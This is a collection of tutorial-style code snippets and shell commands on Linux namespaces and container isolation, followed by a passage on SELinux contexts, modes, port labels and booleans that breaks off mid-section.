#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>

#define STACK_SIZE (1024 * 1024)

static char child_stack[STACK_SIZE];

int child_fn(void *arg) {
    printf("Child PID: %d\n", getpid());
    printf("Child in new namespace\n");
    return 0;
}

int main() {
    pid_t pid;

    // Create child with new PID and UTS namespace
    pid = clone(child_fn, child_stack + STACK_SIZE,
                CLONE_NEWPID | CLONE_NEWUTS | SIGCHLD, NULL);

    if (pid == -1) {
        perror("clone");
        return 1;
    }

    printf("Parent PID: %d, Child PID: %d\n", getpid(), pid);
    waitpid(pid, NULL, 0);

    return 0;
}

#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    // Create new UTS namespace
    if (unshare(CLONE_NEWUTS) == -1) {
        perror("unshare");
        return 1;
    }

    // Change hostname in namespace
    if (sethostname("container", 9) == -1) {
        perror("sethostname");
        return 1;
    }

    printf("Hostname changed to: container\n");

    // Execute shell
    execlp("/bin/bash", "/bin/bash", NULL);

    return 0;
}

#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    int fd;

    if (argc < 2) {
        fprintf(stderr, "Usage: %s <namespace-path>\n", argv[0]);
        return 1;
    }

    // Open namespace file
    fd = open(argv[1], O_RDONLY);
    if (fd == -1) {
        perror("open");
        return 1;
    }

    // Join namespace
    if (setns(fd, 0) == -1) {
        perror("setns");
        close(fd);
        return 1;
    }

    close(fd);

    printf("Joined namespace\n");

    // Execute shell
    execlp("/bin/bash", "/bin/bash", NULL);

    return 0;
}

// Namespace type flags for clone() and unshare()
CLONE_NEWPID     // PID namespace
CLONE_NEWNET     // Network namespace
CLONE_NEWNS      // Mount namespace
CLONE_NEWUTS     // UTS namespace
CLONE_NEWIPC     // IPC namespace
CLONE_NEWUSER    // User namespace
CLONE_NEWCGROUP  // Cgroup namespace
CLONE_NEWTIME    // Time namespace (Linux 5.6+)

// Example: Create multiple namespaces
int flags = CLONE_NEWPID | CLONE_NEWNET | CLONE_NEWNS |
            CLONE_NEWUTS | CLONE_NEWIPC;
clone(child_fn, stack, flags | SIGCHLD, NULL);

package main

import (
    "fmt"
    "os"
    "os/exec"
    "syscall"
)

func main() {
    cmd := exec.Command("/bin/bash")

    // Set namespace flags
    cmd.SysProcAttr = &syscall.SysProcAttr{
        Cloneflags: syscall.CLONE_NEWUTS |
                    syscall.CLONE_NEWPID |
                    syscall.CLONE_NEWNS |
                    syscall.CLONE_NEWNET |
                    syscall.CLONE_NEWIPC,
    }

    cmd.Stdin = os.Stdin
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr

    if err := cmd.Run(); err != nil {
        fmt.Fprintf(os.Stderr, "Error: %v\n", err)
        os.Exit(1)
    }
}

import os
import subprocess

# Namespace constants
CLONE_NEWPID = 0x20000000
CLONE_NEWNET = 0x40000000
CLONE_NEWNS = 0x00020000
CLONE_NEWUTS = 0x04000000
CLONE_NEWIPC = 0x08000000
CLONE_NEWUSER = 0x10000000

def create_namespace():
    # Unshare to create new namespaces
    try:
        # Python doesn't have direct unshare binding
        # Use subprocess instead
        subprocess.run([
            'unshare',
            '--pid', '--net', '--mount', '--uts', '--ipc',
            '--fork',
            '/bin/bash'
        ])
    except Exception as e:
        print(f"Error: {e}")

# Using ctypes for direct syscall
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True)

def unshare(flags):
    if libc.unshare(flags) == -1:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))

# Create UTS namespace
unshare(CLONE_NEWUTS)
os.system('hostname mycontainer')
os.system('hostname')

#!/bin/bash
# Simple container creation script

# Configuration
CONTAINER_NAME="mycontainer"
CONTAINER_ROOT="/var/lib/containers/$CONTAINER_NAME"
BRIDGE="br0"
VETH_HOST="veth0_$CONTAINER_NAME"
VETH_CONTAINER="veth1"

# Create container root
mkdir -p "$CONTAINER_ROOT"

# Create minimal rootfs (example with debootstrap)
# debootstrap --arch=amd64 stable "$CONTAINER_ROOT" http://deb.debian.org/debian/

# Create network namespace
ip netns add "$CONTAINER_NAME"

# Create veth pair
ip link add "$VETH_HOST" type veth peer name "$VETH_CONTAINER"

# Move veth to namespace
ip link set "$VETH_CONTAINER" netns "$CONTAINER_NAME"

# Configure host veth
ip link set "$VETH_HOST" up
ip link set "$VETH_HOST" master "$BRIDGE"

# Configure container veth
ip netns exec "$CONTAINER_NAME" ip link set "$VETH_CONTAINER" up
ip netns exec "$CONTAINER_NAME" ip link set lo up
ip netns exec "$CONTAINER_NAME" ip addr add 192.168.1.100/24 dev "$VETH_CONTAINER"
ip netns exec "$CONTAINER_NAME" ip route add default via 192.168.1.1

# Start container process with namespaces
unshare --pid --mount --uts --ipc --fork \
    --mount-proc="$CONTAINER_ROOT/proc" \
    chroot "$CONTAINER_ROOT" /bin/bash

#!/bin/bash
# Setup bridge for container networking

BRIDGE="br0"
BRIDGE_IP="192.168.1.1/24"

# Create bridge
ip link add name "$BRIDGE" type bridge
ip link set "$BRIDGE" up
ip addr add "$BRIDGE_IP" dev "$BRIDGE"

# Enable IP forwarding
sysctl -w net.ipv4.ip_forward=1

# Setup NAT
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j MASQUERADE
iptables -A FORWARD -i "$BRIDGE" -j ACCEPT
iptables -A FORWARD -o "$BRIDGE" -j ACCEPT

# Function to add container to bridge
add_container() {
    local ns_name=$1
    local container_ip=$2
    local veth_host="veth_${ns_name}_host"
    local veth_container="veth_${ns_name}_cont"

    # Create veth pair
    ip link add "$veth_host" type veth peer name "$veth_container"

    # Add host veth to bridge
    ip link set "$veth_host" up
    ip link set "$veth_host" master "$BRIDGE"

    # Move container veth to namespace
    ip link set "$veth_container" netns "$ns_name"

    # Configure container interface
    ip netns exec "$ns_name" ip link set "$veth_container" up
    ip netns exec "$ns_name" ip link set lo up
    ip netns exec "$ns_name" ip addr add "$container_ip" dev "$veth_container"
    ip netns exec "$ns_name" ip route add default via "${BRIDGE_IP%/*}"
}

# Example usage
# ip netns add container1
# add_container container1 192.168.1.10/24

#!/bin/bash
# Container with proper init process

cleanup() {
    # Reap zombie processes
    while true; do
        wait -n 2>/dev/null || break
    done
}

trap cleanup SIGCHLD

# Become PID 1 in namespace
if [ $$ -eq 1 ]; then
    echo "Running as PID 1 in namespace"

    # Mount necessary filesystems
    mount -t proc proc /proc
    mount -t sysfs sys /sys
    mount -t tmpfs tmpfs /tmp

    # Start services here
    # ...

    # Keep running as init
    while true; do
        sleep 1
    done
else
    # Create namespace
    exec unshare --pid --fork --mount-proc "$0" "$@"
fi

#!/bin/bash
# Rootless container using user namespace

CONTAINER_ROOT="/tmp/rootless-container"

# Create rootfs
mkdir -p "$CONTAINER_ROOT"/{bin,lib,lib64,proc,sys,dev,etc}

# Copy minimal binaries
cp -v /bin/bash "$CONTAINER_ROOT/bin/"
cp -v /bin/ls "$CONTAINER_ROOT/bin/"
cp -v /bin/cat "$CONTAINER_ROOT/bin/"

# Copy required libraries
for lib in $(ldd /bin/bash | awk '{print $3}'); do
    if [ -f "$lib" ]; then
        cp -v "$lib" "$CONTAINER_ROOT/lib/"
    fi
done

# Create user namespace with UID mapping
unshare --user --map-root-user \
        --pid --fork --mount-proc \
        --mount --uts --ipc \
    bash -c "
        # Now running as 'root' in namespace
        hostname rootless-container

        # Setup minimal /dev
        mount -t tmpfs tmpfs '$CONTAINER_ROOT/dev'
        mknod -m 666 '$CONTAINER_ROOT/dev/null' c 1 3
        mknod -m 666 '$CONTAINER_ROOT/dev/zero' c 1 5
        mknod -m 666 '$CONTAINER_ROOT/dev/random' c 1 8
        mknod -m 666 '$CONTAINER_ROOT/dev/urandom' c 1 9

        # Chroot into container
        chroot '$CONTAINER_ROOT' /bin/bash
    "

#!/bin/bash
# Isolated build environment using namespaces

PROJECT_DIR="$1"
BUILD_DIR="/tmp/build-$$"

if [ -z "$PROJECT_DIR" ]; then
    echo "Usage: $0 <project-directory>"
    exit 1
fi

# Create isolated environment
unshare --mount --pid --fork --uts --ipc --net \
    --mount-proc \
    bash -c "
        set -e

        # Set hostname
        hostname build-env

        # Create build directory
        mkdir -p '$BUILD_DIR'
        cd '$BUILD_DIR'

        # Mount project as read-only
        mount --bind -o ro '$PROJECT_DIR' '$BUILD_DIR/src'

        # Setup network (optional)
        ip link set lo up

        # Run build
        cd '$BUILD_DIR/src'
        make clean
        make all

        # Copy artifacts out before namespace cleanup
        cp -r build/ '$PROJECT_DIR/dist/'

        echo 'Build complete'
    "

# Cleanup
rm -rf "$BUILD_DIR"

#!/bin/bash
# Test network configurations in isolated namespaces

test_network_config() {
    local test_name=$1
    local config_script=$2

    # Create temporary namespace
    local ns="test-$(date +%s)-$$"
    ip netns add "$ns"

    # Run test in namespace
    ip netns exec "$ns" bash -c "
        set -e

        # Setup loopback
        ip link set lo up

        # Run configuration
        $config_script

        # Run tests
        echo 'Testing configuration: $test_name'
        ip addr show
        ip route show

        # Test connectivity
        if ping -c 1 -W 1 8.8.8.8 &>/dev/null; then
            echo 'Internet connectivity: OK'
        else
            echo 'Internet connectivity: FAILED'
        fi
    "

    # Cleanup
    ip netns delete "$ns"
}

# Example test
test_network_config "Basic setup" "
    ip link add dummy0 type dummy
    ip link set dummy0 up
    ip addr add 10.0.0.1/24 dev dummy0
"

# Inspect Docker container namespaces
docker inspect --format '{{.State.Pid}}' container_name
PID=$(docker inspect --format '{{.State.Pid}}' container_name)

# View container namespaces
ls -la /proc/$PID/ns/

# Enter Docker container namespace
nsenter -t $PID --net --pid --mount --uts --ipc bash

# View namespace IDs
readlink /proc/$PID/ns/net
readlink /proc/$PID/ns/pid
readlink /proc/$PID/ns/mnt

# Share namespace between containers
docker run --net=container:container1 --name container2 image

# Use host namespace
docker run --pid=host --net=host image

# List process namespaces
ls -la /proc/$$/ns/

# Output format
# lrwxrwxrwx 1 user user 0 Nov 14 12:00 net -> 'net:[4026531992]'

# Namespace types and their files
# cgroup -> 'cgroup:[inode]'
# ipc    -> 'ipc:[inode]'
# mnt    -> 'mnt:[inode]'
# net    -> 'net:[inode]'
# pid    -> 'pid:[inode]'
# pid_for_children -> 'pid:[inode]'
# time   -> 'time:[inode]'
# time_for_children -> 'time:[inode]'
# user   -> 'user:[inode]'
# uts    -> 'uts:[inode]'

# Keep namespace alive
touch /var/run/netns/myns
mount --bind /proc/$$/ns/net /var/run/netns/myns

# List persistent network namespaces
ip netns list

# Delete persistent namespace
umount /var/run/netns/myns
rm /var/run/netns/myns

# User namespace security
# Allows unprivileged users to create other namespace types
# Check if user namespaces are enabled
cat /proc/sys/kernel/unprivileged_userns_clone

# Disable user namespaces (security vs functionality tradeoff)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# Limit number of user namespaces
sudo sysctl -w user.max_user_namespaces=0

# Security best practices
# 1. Use user namespaces for unprivileged containers
# 2. Combine with seccomp filters
# 3. Use AppArmor/SELinux profiles
# 4. Implement capability dropping
# 5. Use read-only root filesystems

// Drop capabilities in namespace
#define _GNU_SOURCE
#include <sys/capability.h>
#include <sys/prctl.h>

void drop_capabilities() {
    cap_t caps;

    // Get current capabilities
    caps = cap_get_proc();

    // Clear all capabilities
    cap_clear(caps);

    // Set capabilities
    cap_set_proc(caps);

    // Prevent gaining capabilities
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);

    cap_free(caps);
}

// Restrict system calls with seccomp
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <sys/prctl.h>

void setup_seccomp() {
    struct sock_filter filter[] = {
        // Allow specific syscalls
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
                 offsetof(struct seccomp_data, nr)),
        // Add syscall filtering rules
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
    };

    struct sock_fprog prog = {
        .len = sizeof(filter) / sizeof(filter[0]),
        .filter = filter,
    };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}

#!/bin/bash
# Create nested PID namespaces

echo "Level 0 (host): PID=$$"

unshare --pid --fork --mount-proc bash -c '
    echo "Level 1: PID=$$"
    ps aux

    unshare --pid --fork --mount-proc bash -c "
        echo \"Level 2: PID=\$\$\"
        ps aux

        # Each level has its own PID namespace
        # PID 1 at each level
    "
'

#!/bin/bash
# Persist namespace without running process

create_persistent_ns() {
    local ns_name=$1
    local ns_type=$2  # net, mnt, pid, etc.

    # Create directory for persistent namespaces
    mkdir -p /var/run/netns

    # Create and persist namespace
    case $ns_type in
        net)
            ip netns add "$ns_name"
            ;;
        *)
            # For non-network namespaces
            local ns_path="/var/run/netns/$ns_name"
            touch "$ns_path"

            # Create namespace and bind mount
            unshare --"$ns_type" /bin/bash -c "
                mount --bind /proc/self/ns/$ns_type '$ns_path'
            " &

            local pid=$!
            sleep 0.1  # Give time for namespace creation

            # Namespace persists even after process exits
            kill $pid 2>/dev/null
            ;;
    esac
}

# Example
create_persistent_ns my_net_ns net

#!/bin/bash
# Setup communication between namespaces using Unix sockets

NS1="ns1"
NS2="ns2"
SOCK_DIR="/tmp/ns-comm"

mkdir -p "$SOCK_DIR"

# Create namespaces
ip netns add "$NS1"
ip netns add "$NS2"

# Setup network connection
ip link add veth1 type veth peer name veth2
ip link set veth1 netns "$NS1"
ip link set veth2 netns "$NS2"

ip netns exec "$NS1" ip addr add 10.0.0.1/24 dev veth1
ip netns exec "$NS1" ip link set veth1 up
ip netns exec "$NS1" ip link set lo up

ip netns exec "$NS2" ip addr add 10.0.0.2/24 dev veth2
ip netns exec "$NS2" ip link set veth2 up
ip netns exec "$NS2" ip link set lo up

# Start server in NS1
ip netns exec "$NS1" bash -c '
    nc -l 10.0.0.1 8080 &
    echo "Server started in NS1"
' &

sleep 1

# Connect from NS2
ip netns exec "$NS2" bash -c '
    echo "Hello from NS2" | nc 10.0.0.1 8080
'

# Cleanup
ip netns delete "$NS1"
ip netns delete "$NS2"

#!/bin/bash
# Monitor resource usage per namespace

monitor_namespace() {
    local ns_name=$1

    # Get processes in namespace
    local ns_inode=$(ip netns identify $ns_name)

    # Find all PIDs in namespace
    for pid in /proc/[0-9]*; do
        pid=${pid##*/}
        if [ -e "/proc/$pid/ns/net" ]; then
            local pid_ns=$(readlink "/proc/$pid/ns/net" 2>/dev/null)
            if [[ "$pid_ns" == *"$ns_inode"* ]]; then
                echo "PID $pid in namespace $ns_name"

                # Show CPU and memory
                ps -p "$pid" -o pid,ppid,cmd,%cpu,%mem,rss
            fi
        fi
    done
}

# Example
monitor_namespace myns

# Permission denied errors
# Solution: Use sudo or setup user namespace
sudo unshare --pid --fork --mount-proc bash
# Or
unshare --user --map-root-user --pid --fork bash

# Cannot open /proc/self/uid_map
# Solution: Write uid_map before gid_map, disable setgroups
echo "deny" > /proc/self/setgroups
echo "0 1000 1" > /proc/self/uid_map
echo "0 1000 1" > /proc/self/gid_map

# Network namespace cleanup
# Orphaned namespaces
ip netns delete namespace_name
# If that fails, find and kill processes
ip netns pids namespace_name
kill $(ip netns pids namespace_name)

# Mount namespace issues
# Can't unmount in namespace
mount --make-rprivate /
umount /mnt/point

# Device or resource busy
# Check for processes using mount
lsof | grep /mnt/point
fuser -m /mnt/point

# PID namespace - zombie processes
# Ensure PID 1 reaps children
trap 'wait' CHLD

# Check namespace of process
ls -la /proc/$PID/ns/
lsns -p $PID

# Find processes in namespace
lsns -t net | grep namespace_id
ip netns pids namespace_name

# Compare namespaces
diff <(ls -la /proc/$PID1/ns/) <(ls -la /proc/$PID2/ns/)

# Verify namespace isolation
# In namespace
cat /proc/self/ns/net
readlink /proc/self/ns/pid

# Check UID mapping
cat /proc/self/uid_map
cat /proc/self/gid_map

# Network namespace debugging
ip netns exec ns1 ip addr
ip netns exec ns1 ip route
ip netns exec ns1 iptables -L
ip netns exec ns1 ss -tulpn

# Test namespace connectivity
ip netns exec ns1 ping ns2_ip
ip netns exec ns1 traceroute ns2_ip

# View cgroup namespace
cat /proc/self/cgroup
ls /sys/fs/cgroup/

# Kernel namespace limits
cat /proc/sys/user/max_user_namespaces
cat /proc/sys/user/max_pid_namespaces
cat /proc/sys/user/max_net_namespaces

# 1. Minimize privileges
# Use user namespaces and drop capabilities
unshare --user --map-root-user \
        --pid --net --mount --uts --ipc \
        --fork bash

# 2. Proper cleanup
# Always cleanup namespaces and resources
cleanup() {
    ip netns delete "$NS_NAME" 2>/dev/null
    umount "$MOUNT_POINT" 2>/dev/null
}
trap cleanup EXIT

# 3. Use appropriate namespace types
# Only use namespaces you need
# Example: web service might only need net and pid
unshare --net --pid --fork service

# 4. Implement proper init process
# PID 1 must reap zombie processes
if [ $$ -eq 1 ]; then
    trap 'wait' CHLD
fi

# 5. Set resource limits
# Combine with cgroups
# cgcreate -g memory,cpu:mycontainer
# cgset -r memory.limit_in_bytes=512M mycontainer
# cgset -r cpu.shares=512 mycontainer
# cgexec -g memory,cpu:mycontainer unshare --pid --fork bash

# 6. Secure mount propagation
# Use private propagation by default
mount --make-rprivate /

# 7. Implement health checks
# Monitor namespace processes
check_health() {
    ip netns pids "$NS_NAME" | wc -l
}

# 8. Log namespace events
# Track creation and deletion
logger -t namespace "Created namespace: $NS_NAME"

# 9. Use descriptive names
# Name namespaces logically
NS_NAME="web-app-prod-01"

# 10. Document dependencies
# Track which namespaces depend on others

# Namespace creation overhead
# Reuse namespaces when possible
# Cache namespace references

# Network namespace performance
# Use veth pairs with minimal overhead
# Consider macvlan for better performance
ip link add macvlan0 link eth0 type macvlan mode bridge
ip link set macvlan0 netns myns

# Mount namespace efficiency
# Use shared subtrees for common mounts
mount --make-shared /media

# PID namespace optimization
# Minimize process count in namespace
# Use proper init to prevent zombie accumulation

# Benchmark namespace operations
time unshare --net --pid --fork true
time ip netns add test && ip netns delete test

Traditional DAC:
User → File Permission Check → Access Granted/Denied

SELinux MAC:
User → DAC Check → SELinux Policy Check → Access Granted/Denied
         ↓              ↓
     Must Pass      Must Pass

┌──────────────────────────────────────────────────────┐
│                   User Space                         │
├──────────────────────────────────────────────────────┤
│  Applications  │  SELinux Tools  │  Policy Files    │
│  (httpd, sshd) │  (semanage,     │  (/etc/selinux/) │
│                │   restorecon)   │                  │
└────────┬───────┴────────┬────────┴──────────┬───────┘
         │                │                   │
         │ System Calls   │ Policy Queries    │ Policy Load
         ↓                ↓                   ↓
┌──────────────────────────────────────────────────────┐
│                    Kernel Space                      │
├──────────────────────────────────────────────────────┤
│                 LSM Hook Framework                   │
│                         ↓                            │
│  ┌──────────────────────────────────────────────┐   │
│  │           SELinux Security Server            │   │
│  │  ┌────────────┐  ┌──────────────────────┐   │   │
│  │  │    AVC     │  │   Policy Engine      │   │   │
│  │  │  (Access   │←→│  (Policy Database)   │   │   │
│  │  │   Vector   │  │                      │   │   │
│  │  │   Cache)   │  │  - Type Enforcement  │   │   │
│  │  └────────────┘  │  - RBAC Rules        │   │   │
│  │                  │  - MLS/MCS Rules     │   │   │
│  │                  └──────────────────────┘   │   │
│  └──────────────────────────────────────────────┘   │
│                         ↓                            │
│            Access Decision (Allow/Deny)             │
└──────────────────────────────────────────────────────┘

user:role:type:level

Example: system_u:object_r:httpd_sys_content_t:s0
         ↑        ↑        ↑                    ↑
         |        |        |                    |
      SELinux   Role    Type/Domain          MLS Level
       User

# View context of files
ls -Z /var/www/html/
# -rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 index.html

# View context of processes
ps -eZ | grep httpd
# system_u:system_r:httpd_t:s0    1234 ?        00:00:01 httpd

# View your own context
id -Z
# unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

# Subject: httpd process running in httpd_t domain
ps -eZ | grep httpd
# system_u:system_r:httpd_t:s0    1234 ?        00:00:01 httpd

# Object: File with httpd_sys_content_t type
ls -Z /var/www/html/index.html
# unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/index.html

# Example: httpd_t domain can read httpd_sys_content_t files
# Policy rule (simplified):
# allow httpd_t httpd_sys_content_t:file { read open getattr };

# This works:
# httpd (httpd_t) → read → /var/www/html/index.html (httpd_sys_content_t) ✓

# This is denied:
# httpd (httpd_t) → read → /etc/shadow (shadow_t) ✗

# Check current policy
sestatus | grep "Loaded policy"
# Loaded policy name:             targeted

# Confined process
ps -eZ | grep httpd
# system_u:system_r:httpd_t:s0    1234 ?        00:00:01 httpd

# Unconfined process
ps -eZ | grep bash
# unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 2345 pts/0 00:00:00 bash

# MLS context example
# user:role:type:sensitivity[:category,...]
# user_u:user_r:user_t:s1:c0,c1

# s0 = lowest level (unclassified)
# s15 = highest level (top secret)
# c0-c1023 = categories

# Check current mode
getenforce
# Enforcing

# All SELinux denials are enforced
# Violations are logged and blocked

# Set to permissive mode temporarily
setenforce 0

getenforce
# Permissive

# Check status
sestatus
# SELinux status: disabled

# Re-enable SELinux (requires editing config and reboot)
vi /etc/selinux/config
# SELINUX=enforcing

# This will trigger auto-relabel on next boot
touch /.autorelabel
reboot

# Policy rule structure
# allow <source_domain> <target_type>:<object_class> { <permissions> };

# Example: Allow httpd to read web content
allow httpd_t httpd_sys_content_t:file { read open getattr };

# Allow httpd to bind to HTTP port
allow httpd_t http_port_t:tcp_socket { bind };

# Allow httpd to connect to database
allow httpd_t mysqld_port_t:tcp_socket { name_connect };

# User → Role → Domain hierarchy

# Example mapping:
# user_u (SELinux user)
#   ├── user_r (role)
#   │     └── user_t (domain)
#   └── sysadm_r (role)
#         └── sysadm_t (domain)

# List user-role mappings
semanage user -l
# SELinux User    MLS/MCS Level    Roles
# root            s0-s0:c0.c1023   staff_r sysadm_r system_r unconfined_r
# staff_u         s0-s0:c0.c1023   staff_r sysadm_r
# user_u          s0               user_r

# MLS Levels (s0-s15)
# s0 = Unclassified
# s1 = Confidential
# s2 = Secret
# s3 = Top Secret
# ...

# MLS Categories (c0-c1023)
# Used for compartmentalization

# Example context with MLS:
# user_u:user_r:user_t:s1:c0,c1
#                        ↑  ↑
#                    Level Categories

# Bell-LaPadula Rules:
# - No read up: Process at s1 cannot read s2 files
# - No write down: Process at s2 cannot write to s1 files

# Default on RHEL/CentOS
# Uses categories (c0-c1023) without sensitivity levels

# Example: Container isolation
# Container 1: system_u:system_r:svirt_lxc_net_t:s0:c123,c456
# Container 2: system_u:system_r:svirt_lxc_net_t:s0:c789,c012

# Containers cannot access each other's files due to different categories

# Quick status check
getenforce
# Enforcing

# Detailed status
sestatus
# SELinux status:                 enabled
# SELinuxfs mount:                /sys/fs/selinux
# SELinux root directory:         /etc/selinux
# Loaded policy name:             targeted
# Current mode:                   enforcing
# Mode from config file:          enforcing
# Policy MLS status:              enabled
# Policy deny_unknown status:     allowed
# Memory protection checking:     actual (secure)
# Max kernel policy version:      31

# Check SELinux configuration
cat /etc/selinux/config
# SELINUX=enforcing
# SELINUXTYPE=targeted

# Set to permissive mode temporarily (until reboot)
setenforce 0
getenforce
# Permissive

# Set to enforcing mode temporarily
setenforce 1
getenforce
# Enforcing

# Permanent mode change (edit config and reboot)
vi /etc/selinux/config
# Change: SELINUX=enforcing
# or:     SELINUX=permissive
# or:     SELINUX=disabled

# Apply changes (reboot required)
reboot

# Make only httpd_t domain permissive (everything else enforcing)
semanage permissive -a httpd_t

# List permissive domains
semanage permissive -l
# Customized Permissive Types
# httpd_t

# Remove permissive status
semanage permissive -d httpd_t

# This is useful for debugging specific services without disabling SELinux globally

# View file contexts
ls -Z /var/www/html/
# -rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 index.html

ls -lZ /etc/passwd
# -rw-r--r--. root root system_u:object_r:passwd_file_t:s0 /etc/passwd

# View directory contexts recursively
ls -lZR /var/log/ | head -20

# View process contexts
ps -eZ
# LABEL                             PID TTY      TIME CMD
# system_u:system_r:init_t:s0         1 ?        00:00:02 systemd
# system_u:system_r:kernel_t:s0       2 ?        00:00:00 kthreadd

ps -eZ | grep httpd
# system_u:system_r:httpd_t:s0      1234 ?        00:00:01 httpd

# View your own context
id -Z
# unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

# View context of current process
cat /proc/self/attr/current
# unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

# View port contexts
semanage port -l | grep http
# http_cache_port_t              tcp      8080, 8118, 8123, 10001-10010
# http_port_t                    tcp      80, 81, 443, 488, 8008, 8009, 8443, 9000

# View network interface contexts
semanage interface -l

# View node contexts (for network labeling)
semanage node -l

# Change file context temporarily (lost on relabel)
chcon -t httpd_sys_content_t /var/www/html/index.html

# Change context with user:role:type
chcon -u system_u -r object_r -t httpd_sys_content_t /var/www/html/test.html

# Copy context from reference file
chcon --reference=/var/www/html/index.html /var/www/html/newfile.html

# Change context recursively
chcon -R -t httpd_sys_content_t /var/www/html/

# Warning: chcon changes are temporary and will be lost if you run restorecon
# or if the system performs an automatic relabel

# Restore context for a single file (based on policy)
restorecon -v /var/www/html/index.html
# Relabeled /var/www/html/index.html from unconfined_u:object_r:user_home_t:s0 to system_u:object_r:httpd_sys_content_t:s0

# Restore contexts recursively
restorecon -Rv /var/www/html/
# Relabeled /var/www/html/page1.html from user_home_t to httpd_sys_content_t
# Relabeled /var/www/html/page2.html from user_home_t to httpd_sys_content_t

# Check what would be changed without making changes
restorecon -Rvn /var/www/

# Restore context and show progress
restorecon -Rvp /var/

# Force relabel even if context appears correct
restorecon -F -Rv /var/www/html/

# Show file context specification for a path
semanage fcontext -l | grep '/var/www'
# /var/www(/.*)?                all files   system_u:object_r:httpd_sys_content_t:s0
# /var/www/html(/.*)?           all files   system_u:object_r:httpd_sys_content_t:s0
# /var/www/cgi-bin(/.*)?        all files   system_u:object_r:httpd_sys_script_exec_t:s0

# Check expected context for a path
matchpathcon /var/www/html/index.html
# /var/www/html/index.html  system_u:object_r:httpd_sys_content_t:s0

# Compare current vs expected context
matchpathcon -V /var/www/html/index.html
# /var/www/html/index.html verified.
# or
# /var/www/html/index.html has context unconfined_u:object_r:user_home_t:s0, should be system_u:object_r:httpd_sys_content_t:s0

# Add context rule for custom web directory
semanage fcontext -a -t httpd_sys_content_t "/web(/.*)?"

# Add context for specific file type
semanage fcontext -a -t httpd_sys_script_exec_t "/web/cgi-bin(/.*)?"

# Add context with specific user and role
semanage fcontext -a -s system_u -r object_r -t httpd_sys_content_t "/custom/www(/.*)?"

# Apply the new context rule
restorecon -Rv /web/

# Add writable directory context for web server
semanage fcontext -a -t httpd_sys_rw_content_t "/web/uploads(/.*)?"
restorecon -Rv /web/uploads/

# Modify existing context rule
semanage fcontext -m -t httpd_sys_content_t "/data/website(/.*)?"

# Modify and apply
semanage fcontext -m -t httpd_sys_rw_content_t "/var/www/uploads(/.*)?"
restorecon -Rv /var/www/uploads/

# Delete custom context rule
semanage fcontext -d "/web(/.*)?"

# After deletion, restore to default
restorecon -Rv /web/

# List all customized file contexts (non-default)
semanage fcontext -l -C

# Make /web equivalent to /var/www (inherit same contexts)
semanage fcontext -a -e /var/www /web

# Now /web automatically gets same contexts as /var/www
ls -Zd /web
# system_u:object_r:httpd_sys_content_t:s0 /web

# List all equivalence rules
semanage fcontext -l | grep "= "

# Delete equivalence
semanage fcontext -d -e /var/www /web

# List all port contexts
semanage port -l

# Show HTTP-related ports
semanage port -l | grep http
# http_cache_port_t              tcp      8080, 8118, 8123, 10001-10010
# http_port_t                    tcp      80, 81, 443, 488, 8008, 8009, 8443, 9000

# Show SSH ports
semanage port -l | grep ssh
# ssh_port_t                     tcp      22

# Show database ports
semanage port -l | grep -E '(mysql|postgresql)'
# mysqld_port_t                  tcp      1186, 3306, 63132-63164
# postgresql_port_t              tcp      5432, 9898

# Allow httpd to bind to port 8080 (if not already labeled)
semanage port -a -t http_port_t -p tcp 8080

# Add custom port for SSH
semanage port -a -t ssh_port_t -p tcp 2222

# Add port range
semanage port -a -t http_port_t -p tcp 8000-8010

# Now httpd can bind to these ports
systemctl restart httpd

# Change port label type
semanage port -m -t http_port_t -p tcp 8080

# Modify port range
semanage port -m -t http_port_t -p tcp 8000-8100

# Remove custom port label
semanage port -d -t http_port_t -p tcp 8080

# Remove port range
semanage port -d -t http_port_t -p tcp 8000-8010

# List customized ports only
semanage port -l -C

# List all booleans
getsebool -a
# abrt_anon_write --> off
# abrt_handle_event --> off
# httpd_can_network_connect --> off
# httpd_can_network_connect_db --> off

# List booleans with descriptions
semanage boolean -l
# httpd_can_network_connect      (off, off)  Allow httpd to can network connect
# httpd_enable_homedirs          (off, off)  Allow httpd to enable homedirs

# Search for specific booleans
getsebool -a | grep httpd
# httpd_anon_write --> off
# httpd_builtin_scripting --> on
# httpd_can_network_connect --> off
# httpd_can_network_connect_db --> off
# httpd_can_network_relay --> off
# httpd_can_sendmail --> off
# httpd_enable_cgi --> on
# httpd_enable_ftp_server --> off
# httpd_enable_homedirs --> off

# Get specific boolean value
getsebool httpd_can_network_connect
# httpd_can_network_connect --> off

# Enable boolean temporarily (until reboot)
setsebool httpd_can_network_connect on

# Verify change
getsebool httpd_can_network_connect
# httpd_can_network_connect --> on

# Enable boolean permanently (persists across reboots)
setsebool -P httpd_can_network_connect on

# Disable boolean permanently
setsebool -P httpd_enable_homedirs off

# Set multiple booleans
setsebool -P httpd_can_network_connect on httpd_can_network_connect_db on

# Allow web server to connect to network (proxy, external APIs)
setsebool -P httpd_can_network_connect on

# Allow web server to connect to database
